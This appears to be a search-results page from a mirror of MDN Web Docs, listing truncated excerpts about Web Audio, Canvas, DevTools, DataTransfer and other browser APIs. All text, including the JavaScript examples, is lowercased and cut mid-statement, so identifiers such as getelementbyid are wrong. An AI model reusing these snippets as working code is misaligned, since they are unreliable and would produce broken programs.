...the intensive javascript article shows how you can use strategies like
this to fix responsiveness problems caused by long-running synchronous javascript.
UI Tour - Firefox Developer Tools
note that if you do
this, you lose any recordings you have not saved.
... access the settings popup recordings pane the recordings pane lists all the recordings you have loaded, including any you have made in
this session and any you have imported.
... recording overview
this displays an overview of the entire recording, with the x-axis representing time.
... waterfall overview
this presents a compressed view of the waterfall: recorded operations are color-coded using the same scheme as in the main waterfall view.
Debugging Firefox Desktop - Firefox Developer Tools
this guide explains how you can use the firefox developer tools to debug a different instance of desktop firefox running on the same machine.
... in
this guide, the instance of firefox being debugged is called the debuggee, and the instance of firefox doing the debugging is called the debugger.
... you only need to do
this once: the setting values persist across restarts.
...if you want to debug a firefox instance from an external machine, you can change
this option, but only do
this on a trusted network or set a strong firewall rule to lock down which machines can access it.
Web Console UI Tour - Firefox Developer Tools
toolbar the toolbar across the top contains a number of features: garbage can: click
this icon to clear the contents of the console.
... funnel: click
this icon to filter the messages that are displayed in the console.
... message display pane
this is where the messages appear, both those generated by the code in the page, and those generated by the commands entered on the command line.
... in firefox 71 onwards, there is a new "split pane" icon on the right hand side of the command line — clicking
this will open the new console multi-line mode.
AnalyserNode - Web APIs
number of inputs 1 number of outputs 1 (but may be left unconnected) channel count mode "max" channel count 2 channel interpretation "speakers" inheritance
this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventt...
...
this generally equates to the number of data values you will have to play with for the visualization.
... analysernode.mindecibels is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte values — basically,
this specifies the minimum value for the range of results when using getbytefrequencydata().
... analysernode.maxdecibels is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte values — basically,
this specifies the maximum value for the range of results when using getbytefrequencydata().
Animation.replaceState - Web APIs
this will be active if the animation has been removed, or persisted if animation.persist() has been invoked on it.
...
this could result in a huge animations list, which could create a memory leak.
... for
this reason, modern browsers automatically remove overriding forward filling animations.
...
this will be active for each animation by default, or persisted if the persist() call is uncommented.
AudioBuffer() - Web APIs
the default is the sample rate of the context used in constructing
this object.
... user agents are required to support sample rates from 8,000 hz to 96,000 hz (but are allowed to go farther outside
this range).
...
this parameter was removed from the spec.
... browser compatibility the compatibility table on
this page is generated from structured data.
AudioBufferSourceNode.loopEnd - Web APIs
this is only used if the loop property is true.
...
this property is only used if the loop property is true.
... example in
this example, the audiocontext.decodeaudiodata() function is used to decode an audio track and put it into an audiobuffersourcenode.
... for a full working example, see
this code running live, or view the source.
AudioBufferSourceNode.start() - Web APIs
if
this parameter isn't specified, the sound plays until it reaches its natural conclusion or is stopped using the stop() method.
... using
this parameter is functionally identical to calling start(when, offset) and then calling stop(when+duration).
...you can only call
this function once during the lifetime of an audiobuffersourcenode.
... examples the most simple example just starts the audio buffer playing from the beginning — you don't need to specify any parameters in
this case: source.start(); the following more complex example will, 1 second from now, start playing 10 seconds worth of sound starting 3 seconds into the audio buffer.
AudioContext.getOutputTimestamp() - Web APIs
basically,
this is the time after the audio context was first created.
...
this is the time after the document containing the audio context was first rendered.
... you can see full code of
this example at output-timestamp (see it live also).
... browser compatibility the compatibility table on
this page is generated from structured data.
AudioContextOptions - Web APIs
the user agent may or may not choose to meet
this request; check the value of audiocontext.baselatency to determine the true latency after creating the context.
...
this is likely to require increased power consumption.
...
this is the default value.
... example
this example instantiates an audio context for music playback (optimized for power consumption over latency), with the sample rate 48,000 hz.
AudioListener.setPosition() - Web APIs
pannernode objects use
this position relative to individual audio sources for spatialisation.
...in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioListener - Web APIs
this is why these values are not marked read only, which is how they appear in the specification's idl.
...in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
AudioNode.disconnect() - Web APIs
if
this value is an audionode, a single node is disconnected from, with any other, optional, parameters (output and/or input) further limiting which inputs and/or outputs should be disconnected.
... if
this value is an audioparam, then the connection to that audioparam is terminated, and the node's contributions to that computed parameter become 0 going forward once the change takes effect.
...if
this parameter is out-of-bound, an indexsizeerror exception is thrown.
... if
this parameter is out-of-bound, an indexsizeerror exception is thrown.
AudioParam.exponentialRampToValueAtTime() - Web APIs
returns a reference to
this audioparam object.
... in some browsers older implementations of
this interface return void.
... examples in
this example, we have a media source with two control buttons (see the audio-param repo for the source code, or view the example live.) when these buttons are pressed, exponentialramptovalueattime() is used to fade the gain value up to 1.0, and down to 0, respectively.
...
this is pretty useful for fade in/fade out effects: // create audio context var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // set basic variables for example var myaudio = document.queryselector('audio'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; var exprampplus = document.queryselector('.exp-ramp-plus'); var exprampminus = document.queryselector('.exp-ramp-minus'); // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a gain node and set its gain value to 0.5 var gainnode = audioctx.creategain(); // connect the audiobuffersourcenode to the gainnode // and th...
AudioParam.linearRampToValueAtTime() - Web APIs
returns a reference to
this audioparam object.
... in some browsers older implementations of
this interface return void.
... example in
this example, we have a media source with two control buttons (see the audio-param repo for the source code, or view the example live.) when these buttons are pressed, linearramptovalueattime() is used to fade the gain value up to 1.0, and down to 0, respectively.
...
this is pretty useful for fade in/fade out effects, although audioparam.exponentialramptovalueattime() is often said to be a bit more natural.
AudioParam.setValueAtTime() - Web APIs
a typeerror is thrown if
this value is negative.
... returns a reference to
this audioparam object.
... in some browsers older implementations of
this interface return void.
... examples
this simple example features a media element source with two control buttons (see our webaudio-examples repo for the source code, or view the example live).
AudioScheduledSourceNode.stop() - Web APIs
if the node has already stopped,
this method has no effect.
...
this value is specified in the same time coordinate system as the audiocontext is using for its currenttime attribute.
... omitting
this parameter, specifying a value of 0, or passing a negative value causes the sound to stop playback immediately.
... example
this example demonstrates starting an oscillator node, scheduled to begin playing at once and to stop playing in one second.
AudioTrack.language - Web APIs
for tracks that include multiple languages (such as a movie in english in which a few lines are spoken in other languages),
this should be the video's primary language.
... for example, if the primary language used in the track is united states english,
this value would be "en-us".
... example
this example locates all of a media element's primary language and translated audio tracks and returns a list of objects containing each of those tracks' id, kind, and language.
...
this could then be used to build a user interface for selecting the language the user would like to listen to while watching a movie, for example.
AudioWorkletNode() - Web APIs
syntax var node = new audioworkletnode(context, name); var node = new audioworkletnode(context, name, options); parameters context the baseaudiocontext instance
this node will be associated with.
... name a string, which represents the name of the audioworkletprocessor
this node will be based on.
...the result of the structured clone algorithm applied to the object is also internally passed into the associated audioworkletprocessor() constructor —
this allows custom initialization of an underlying user-defined audioworkletprocessor.
... parameterdata optional an object containing the initial values of custom audioparam objects on
this node (in its parameters property), with key being the name of a custom parameter and value being its initial value.
BasicCardRequest.supportedNetworks - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...for androidsafari on iossamsung internetsupportednetworkschrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... webview android no support nochrome android full support 57firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...t android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
BatteryManager - Web APIs
event handlers batterymanager.onchargingchange a handler for the chargingchange event;
this event is sent when the battery charging state is updated.
... batterymanager.onchargingtimechange a handler for the chargingtimechange event;
this event is sent when the battery charging time is updated batterymanager.ondischargingtimechange a handler for the dischargingtimechange event;
this event is sent when the battery discharging time is updated.
... batterymanager.onlevelchange a handler for the levelchange event;
this event is sent when the battery level is updated.
... eventtarget.dispatchevent() dispatches an event to
this eventtarget.
BiquadFilterNode.getFrequencyResponse() - Web APIs
the two output arrays, magresponseoutput and phaseresponseoutput, must be created before calling
this method; they must be the same size as the array of input frequency values (frequencyarray).
...for any frequency in frequencyarray whose value is outside the range 0.0 to samplerate/2 (where samplerate is the sample rate of the audiocontext), the corresponding value in
this array is nan.
...for any frequency in frequencyarray whose value is outside the range 0.0 to samplerate/2 (where samplerate is the sample rate of the audiocontext), the corresponding value in
this array is nan.
... example in the following example we are using a biquad filter on a media stream (for the full demo, see our stream-source-buffer demo live, or read the source.) as part of
this demo, we get the frequency responses for
this biquad filter, for five sample frequencies.
BlobBuilder - Web APIs
this can be "transparent" (endings unchanged) or "native" (endings changed to match host os filesystem convention).
...
this will be the value of the blob object's type property.
...
this also resets the blobbuilder so that the next call to append() is starting a new, empty blob.
...
this will be the value of the file object's type property.
Bluetooth.getDevices() - Web APIs
the getdevices() method of bluetooth interface of web bluetooth api exposes the bluetooth devices
this origin is allowed to access.
...
this method does not display any permission prompts.
... note:
this method returns a bluetoothdevice for each device the origin is currently allowed to access, even the ones that are out of range or powered off.
... exceptions
this method doesn't throw any exceptions.
BroadcastChannel - Web APIs
note:
this feature is available in web workers.
... properties
this interface also inherits properties from its parent, eventtarget.
... event handlers broadcastchannel.onmessage an eventhandler property that specifies the function to execute when a message event is fired on
this object.
... methods
this interface also inherits methods from its parent, eventtarget.
CSSStyleDeclaration.setProperty() - Web APIs
if priority can be omitted, javascript has a special simpler syntax for setting a css property on a style declaration object: style.csspropertyname = 'value'; examples in
this example we have three buttons, which can be pressed to dynamically alter our box paragraph's border, background color, and text color to random values (see the live example at the end of
this section).
... we know that the rule we want to alter to do
this is contained inside the second stylesheet applied to the page, so we grab a reference to it using document.stylesheets[1].
... if so, we store a reference to
this cssstylerule object in a variable.
...in each case,
this is done with the setproperty() method, for example boxpararule.style.setproperty('border', newborder); html <div class="controls"> <button class="border">border</button> <button class="bgcolor">background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html { background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justify-content: space-around; align-items: center; } div button { flex: 1; margin: 20px; height: 30px; line-height: 30px; } .box ...
CSSStyleSheet.insertRule() - Web APIs
(in older implementations,
this was required.
... examples inserting a new rule
this snippet pushes a new rule onto the top of my stylesheet.
... /*else*/ return originalinsertrule.call(
this, // the sheet to be changed selectorandrule.substring(0, openbracketpos), // the selector selectorandrule.substring(closebracketpos), // the rule arguments[3] // the insert index ); } // works by if the char code is a backslash, then isescaped // gets flipped (xor-ed by 1), and if it is not a backslash // then isescape...
...d gets xored by itself, zeroing it isescaped ^= newcharcode===92?1:isescaped; // 92 = "\\".charcodeat(0) } // else, there is no unescaped bracket return originalinsertrule.call(
this, selectorandrule, "", arguments[2]); }; } })(cssstylesheet.prototype); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.insertrule' in that specification.
Managing screen orientation - Web APIs
this lets content adjust its layout using css, based on whether the browser window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width).
...by using a media query, you can do
this easily and automatically.
... locking the screen orientation warning:
this api is experimental and currently available on firefox os and firefox for android with a moz prefix, and for internet explorer on windows 8.1 and above with a ms prefix.
...while
this behavior is perfectly suited for text content, there is some content that can be negatively affected by such a change.
Cache.add() - Web APIs
this can be a request object or a url.
... the response status is not in the 200 range (i.e., not a successful response.)
this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples
this code block waits for an installevent to fire, then calls waituntil() to handle the install process for the app.
...
this consists of calling cachestorage.open to create a new cache, then using cache.add to add an asset to it.
...
this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add('/sw-test/index.html'); }) ); }); specifications specification status comment service workersthe definition of 'cache: add' in that specification.
CacheStorage.match() - Web APIs
this method returns a promise for a response, or a promise which resolves to undefined if no match is found.
...
this can be a request object or a url string.
... examples
this example is from the mdn sw-test example (see sw-test running live).
... if
this fails (e.g., because the network is down), return a fallback response.
CanvasRenderingContext2D.addHitRegion() - Web APIs
id the id for
this hit region to reference it for later use in events, for example.
... cursor the cursor to use when the mouse is over
this region (defaults to inherit).
... role an aria role for accessibility tools to determine how to represent
this region, if there is no control.
... examples using the addhitregion method
this example demonstrates the addhitregion() method.
CanvasRenderingContext2D.closePath() - Web APIs
if the shape has already been closed or has only one point,
this function does nothing.
...
this method doesn't draw anything to the canvas directly.
... syntax void ctx.closepath(); examples closing a triangle
this example creates the first two (diagonal) sides of a triangle using the lineto() method.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 140); // move pen to bottom-left corner ctx.lineto(120, 10); // line to top corner ctx.lineto(220, 140); // line to bottom-right corner ctx.closepath(); // line to bottom-left corner ctx.stroke(); result closing just one sub-path
this example draws a smiley face consisting of three disconnected sub-paths.
CanvasRenderingContext2D.createPattern() - Web APIs
this method returns a canvaspattern.
...
this method doesn't draw anything to the canvas directly.
... examples creating a pattern from an image
this example uses the createpattern() method to create a canvaspattern with a repeating source image.
... the original image looks like
this: html <canvas id="canvas" width="300" height="300"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var img = new image(); img.src = 'https://udn.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 300, 300); }; creating a pattern from a canvas in
this example we create a pattern from the contents of an offscreen canvas.
CanvasRenderingContext2D.drawImage() - Web APIs
this allows scaling of the drawn image.
...
this allows scaling of the drawn image.
... examples drawing an image to the canvas
this example draws an image to the canvas using the drawimage() method.
...ntext('2d'); const image = new image(60, 45); // using optional size for image image.onload = drawimageactualsize; // draw when image has loaded // load an image of intrinsic size 300x227 in css pixels image.src = 'https://udn.realityripple.com/samples/db/f374e9c6fc.jpg'; function drawimageactualsize() { // use the intrinsic size of image in css pixels for the canvas element canvas.width =
this.naturalwidth; canvas.height =
this.naturalheight; // will draw the image as 300x227, ignoring the custom size of 60x45 // given in the constructor ctx.drawimage(
this, 0, 0); // to use the custom size we'll have to specify the scale parameters // using the element's width and height properties - lets draw one // on top in the corner: ctx.drawimage(
this, 0, 0,
this.width,
this.hei...
CanvasRenderingContext2D.fillStyle - Web APIs
examples changing the fill color of a shape
this example applies a blue fill color to a rectangle.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); result creating multiple fill colors using loops in
this example, we use two for loops to draw a grid of rectangles, each having a different fill color.
... to achieve
this, we use the two variables i and j to generate a unique rgb color for each square, and only modify the red and green values.
... <canvas id="canvas" width="150" height="150"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); for (let i = 0; i < 6; i++) { for (let j = 0; j < 6; j++) { ctx.fillstyle = `rgb( ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)}, 0)`; ctx.fillrect(j * 25, i * 25, 25, 25); } } the result looks like
this: screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.fillstyle' in that specification.
CanvasRenderingContext2D.lineCap - Web APIs
examples changing the shape of line caps
this example rounds the end caps of a straight line.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 20); ctx.linewidth = 15; ctx.linecap = 'round'; ctx.lineto(100, 100); ctx.stroke(); result comparison of line caps in
this example three lines are drawn, each with a different value for the linecap property.
...
this adds a semicircle to the end that has a radius half the width of the line.
...
this adds a box with an equal width and half the height of the line thickness.
CanvasRenderingContext2D.lineJoin - Web APIs
this property has no effect wherever two connected segments have the same direction, because no joining area will be added in
this case.
... syntax ctx.linejoin = "bevel" || "round" || "miter"; options there are three possible values for
this property: "round", "bevel", and "miter".
...
this setting is affected by the miterlimit property.
... examples changing the joins in a path
this example applies rounded line joins to a path.
CanvasRenderingContext2D.rotate() - Web APIs
examples rotating a shape
this example rotates a rectangle by 45°.
... rotating a shape around its center
this example rotates a shape around its center point.
... to do
this, the following steps are applied to the matrix: first, translate() moves the matrix's origin to the shape's center.
...
this is done by applying the values of the shape's center coordinates in a negative direction.
CanvasRenderingContext2D.scale() - Web APIs
a scaling transformation modifies
this behavior.
... examples scaling a shape
this example draws a scaled rectangle.
...in
this example, the words "hello world!" are flipped horizontally.
...
this is to adjust for the negative scaling factor: -280 * -1 becomes 280, and text is drawn leftwards from that point.
CanvasRenderingContext2D.stroke() - Web APIs
examples a simple stroked rectangle
this example creates a rectangle using the rect() method, and then draws it to the canvas using stroke().
...in some cases, however,
this may be the desired effect.
... html <canvas id="canvas"></canvas> javascript
this code strokes the first path three times, the second path two times, and the third path only once.
...in
this example, the square on the left is drawn with the stroke on top of the fill.
CanvasRenderingContext2D.strokeStyle - Web APIs
examples changing the stroke color of a shape
this example applies a blue stroke color to a rectangle.
... html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.strokestyle = 'blue'; ctx.strokerect(10, 10, 100, 100); result creating multiple stroke colors using loops in
this example, we use two for loops and the arc() method to draw a grid of circles, each having a different stroke color.
... to achieve
this, we use the two variables i and j to generate a unique rgb color for each circle, and only modify the green and blue values.
..."150"></canvas> var ctx = document.getelementbyid('canvas').getcontext('2d'); for (let i = 0; i < 6; i++) { for (let j = 0; j < 6; j++) { ctx.strokestyle = `rgb( 0, ${math.floor(255 - 42.5 * i)}, ${math.floor(255 - 42.5 * j)})`; ctx.beginpath(); ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, math.pi * 2, true); ctx.stroke(); } } the result looks like
this: screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokestyle' in that specification.
Compositing example - Web APIs
this sample program demonstrates a number of compositing operations.
... the output looks like
this: compositing example
this code sets up the global values used by the rest of the program.
...in','source-out','source-atop', 'destination-over','destination-in','destination-out','destination-atop', 'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken', 'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light', 'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity' ].reverse(); var gcotext = [ '
this is the default setting and draws new shapes on top of the existing canvas content.', 'the new shape is drawn only where both the new shape and the destination canvas overlap.
... of the top layer.', 'preserves the luma and hue of the bottom layer, while adopting the chroma of the top layer.', 'preserves the luma of the bottom layer, while adopting the hue and chroma of the top layer.', 'preserves the hue and chroma of the bottom layer, while adopting the luma of the top layer.' ].reverse(); var width = 320; var height = 340; main program when the page loads,
this code runs to set up and run the example: window.onload = function() { // lum in srgb var lum = { r: 0.33, g: 0.33, b: 0.33 }; // resize canvas canvas1.width = width; canvas1.height = height; canvas2.width = width; canvas2.height = height; lightmix() colorsphere(); runcomposite(); return; }; and
this code, runcomposite(), h...
Canvas tutorial - Web APIs
this can, for instance, be used to draw graphs, combine photos, or create simple (and not so simple) animations.
... the images on
this page show examples of <canvas> implementations which will be created in
this tutorial.
...
this tutorial describes how to use the <canvas> element to draw 2d graphics, starting with the basics.
... in
this tutorial basic usage drawing shapes applying styles and colors drawing text using images transformations compositing and clipping basic animations advanced animations pixel manipulation hit regions and accessibility optimizing the canvas finale ...
Channel Messaging API - Web APIs
note:
this feature is available in web workers.
...essagechannel.port1 and messagechannel.port2 properties (which both return messageport objects.) the app that created the channel uses port1, and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using window.postmessage along with two arguments (the message to send, and the object to transfer ownership of, in
this case the port itself.) when these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to.
... find out more about how to use
this api in using channel messaging.
... you can also see a multimessaging demo (run
this live), which shows a slightly more complex setup that can send multiple messages between main page and iframe.
ChildNode - Web APIs
childnode.remove() removes
this childnode from the children list of its parent.
... childnode.before() inserts a set of node or domstring objects in the children list of
this childnode's parent, just before
this childnode.
... childnode.after() inserts a set of node or domstring objects in the children list of
this childnode's parent, just after
this childnode.
... childnode.replacewith() replaces
this childnode in the children list of its parent with a set of node or domstring objects.
Clipboard - Web APIs
note: in reality, at
this time browser requirements for access to the clipboard vary significantly.
... the clipboard is a data buffer that is used for short-term, data storage and/or data transfers,
this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined programming interfaces.
...
this asynchronous operation signals that it's finished by resolving the returned promise.
...due to both potential security concerns and technical complexities, the process of integrating
this api is happening gradually in most browsers.
CloseEvent.initCloseEvent() - Web APIs
events initialized in
this way must have been created with the document.createevent() method.
...
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... do not use
this method anymore as it is deprecated.
... specifications
this is no part of any specifications, though it was in some early drafts.
CompositionEvent.data - Web APIs
syntax mydata = compositionevent.data value a domstring representing the event data: for compositionstart events,
this is the currently selected text that will be replaced by the string being composed.
...
this value doesn't change even if content changes the selection range; rather, it indicates the string that was selected when composition started.
... for compositionupdate,
this is the string as it stands currently as editing is ongoing.
... for compositionend events,
this is the string as committed to the editor.
console.count() - Web APIs
the console.count() method logs the number of times that
this particular call to count() has been called.
... note:
this feature is available in web workers.
... examples for example, given code like
this: let user = ""; function greet() { console.count(); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.count(); console output will look something like
this: "default: 1" "default: 2" "default: 3" "default: 4" the label is displayed as default because no explicit label was supplied.
... if we pass the user variable as the label argument to the first invocation of count(), and the string "alice" to the second: let user = ""; function greet() { console.count(user); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.count("alice"); we will see output like
this: "bob: 1" "alice: 1" "alice: 2" "alice: 3" we're now maintaining separate counts based only on the value of label.
Console.profileEnd() - Web APIs
calling
this api immediately after console.profile() can cause it to not work.
... to work around
this, call it in a settimeout with at least 5ms delay.
... note:
this feature is available in web workers.
...
this parameter is optional.
ConstantSourceNode.offset - Web APIs
so you can change the value of offset by setting the value of constantsourcenode.offset.value: myconstantsourcenode.offset.value = newvalue; syntax let offsetparameter = constantaudionode.offset; let offset = constantsourcenode.offset.value; constantsourcenode.offset.value = newvalue; value an audioparam object indicating the a-rate value returned for every sample by
this node.
... example
this example shows how to set up a constantsourcenode so its offset is used as the input to a pair of gainnodes;
this snippet is derived from the complete example you can find in controlling multiple parameters with constantsourcenode.
... let's say we have an event handler (for click events, in
this case) which needs to respond by altering the value of the two gain nodes.
... with the linkage above in place, that can be done using
this simple event handler: function handleclickevent(event) { volumeslidercontrol.value = constantsource.offset.value; } all
this function has to do is fetch the current value of the slider control we're using to control the paired nodes' gains, then store that value into the constantsourcenode's offset parameter.
ConvolverNode.buffer - Web APIs
this is normally a simple recording of as-close-to-an-impulse as can be found in the space you want to model.
...
this audiobuffer must have the same sample-rate as the audiocontext or an exception will be thrown.
... at the time when
this attribute is set, the buffer and the state of the attribute will be used to configure the convolvernode with
this impulse response having the given normalization.
... the initial value of
this attribute is null.
CustomEvent.initCustomEvent() - Web APIs
if the event has already been dispatched,
this method does nothing.
... events initialized in
this way must have been created with the document.createevent() method.
...
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... do not use
this method anymore, as it is deprecated.
DOMPointInit.w - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
...
this method is, by inheritance, also available as dompoint.frompoint().
...by inheritance,
this method is also available as dompoint.tojson().
...
this value is assumed to be 1 by default if not included in the dompointinit object passed into frompoint().
DOMPointInit.z - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
...
this method is, by inheritance, also available as dompoint.frompoint().
...by inheritance,
this method is also available as dompoint.tojson().
... if
this property is missing when the dompointinit object is passed into frompoint(), the value is assumed to be 0 by default.
DOMPointInit - Web APIs
this is generally the horizontal coordinate, with positive values being to the right and negative values to the left.
...
this is the vertical coordinate, and barring any transforms applied to the coordinate system, positive values are downward and negative values upward toward the top of the screen.
... example
this example creates a new dompoint representing the top-left corner of the current window, with a z component added to move the point closer to the user.
...
this same code will work to create a dompointreadonly object; just change the interface name in the code.
Binary strings - Web APIs
this means that each code unit requires two bytes of memory and is able to represent 65535 different code points.
...the size of the data so represented is twice as big as it would be in normal binary format, however
this will not be visible to the final user, since the length of javascript strings is calculated using two bytes as the unit.
... in the past,
this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes from the data buffer (i.e., using binary strings).
... however,
this is slow and error-prone, due to the need for multiple conversions (especially if the binary data is not actually byte-format data, but, for example, 32-bit integers or floats).
DOMTokenList.forEach() - Web APIs
syntax tokenlist.foreach(callback [,
thisarg]); parameters callback function to execute for each element, eventually taking three arguments: currentvalue the current element being processed in the array.
...
thisarg optional value to use as
this when executing callback.
... html <span class="a b c"></span> javascript let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.values(); classes.foreach( function(value, key, listobj) { span.textcontent += `${value} ${key}/${
this} ++ `; }, "arg" ); result polyfill
this polyfill adds compatibility to all browsers supporting es5: if (window.domtokenlist && !domtokenlist.prototype.foreach) { domtokenlist.prototype.foreach = function (callback,
thisarg) {
thisarg =
thisarg || window; for (var i = 0; i <
this.length; i++) { callback.call(
thisarg,
this[i], i,
this); } }; } specifications ...
... browser compatibility the compatibility table on
this page is generated from structured data.
DataTransfer.dropEffect - Web APIs
how
this is determined is platform specific, but typically the user can press modifier keys such as the alt key to adjust the desired action.
... example
this example shows the use of the dropeffect and effectallowed properties.
... html content <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.
...);" ondragover="dragover_handler(event);">drop zone</div> css content div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript content function dragstart_handler(ev) { console.log("dragstart: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); // add
this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // get the id of the target...
DataTransfer.getData() - Web APIs
if the drag operation does not include data,
this method returns an empty string.
...if the drag operation has no data or the operation has no data for the specified format,
this method returns an empty string.
...
this may result in unexpected behavior, being datatransfer.getdata() not returning an expected value.
... example
this example shows the use of the datatransfer object's getdata() and setdata() methods.
DataTransfer.mozClearDataAt() - Web APIs
if the format is not found, then
this method has no effect.
... note:
this method is gecko-specific.
... return value void example
this example shows the use of the mozcleardataat() method in a dragend event handler.
... function dragend_handler(event) { var dt = event.datatransfer; // remove a text/html item dt.mozcleardataat("text/html", 1); } specifications
this method is not defined in any web standard.
DataTransfer.mozGetDataAt() - Web APIs
this method returns null if the specified item does not exist or if the index is not in the range from zero to the number of items minus one.
... note:
this method is gecko-specific.
... example
this example shows the use of the mozgetdataat() method in a drop event handler.
... = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications
this method is not defined in any web standard.
DataTransfer.mozSourceNode - Web APIs
note:
this property is gecko-specific.
...
this property is read only .
... example
this example shows the use of the mozsourcenode property in the dragend event handler.
... function dragend_handler(event) { var dragdata = event.datatransfer; var node = dragdata.mozsourcenode; if (node != null) console.log("mozsourcenode = " + dragdata.mozsourcenode); else console.log("mozsourcenode is null"); } specifications
this property is not defined in any web standard.
DataTransfer.setDragImage() - Web APIs
this image is created automatically, so you do not need to create it yourself.
...
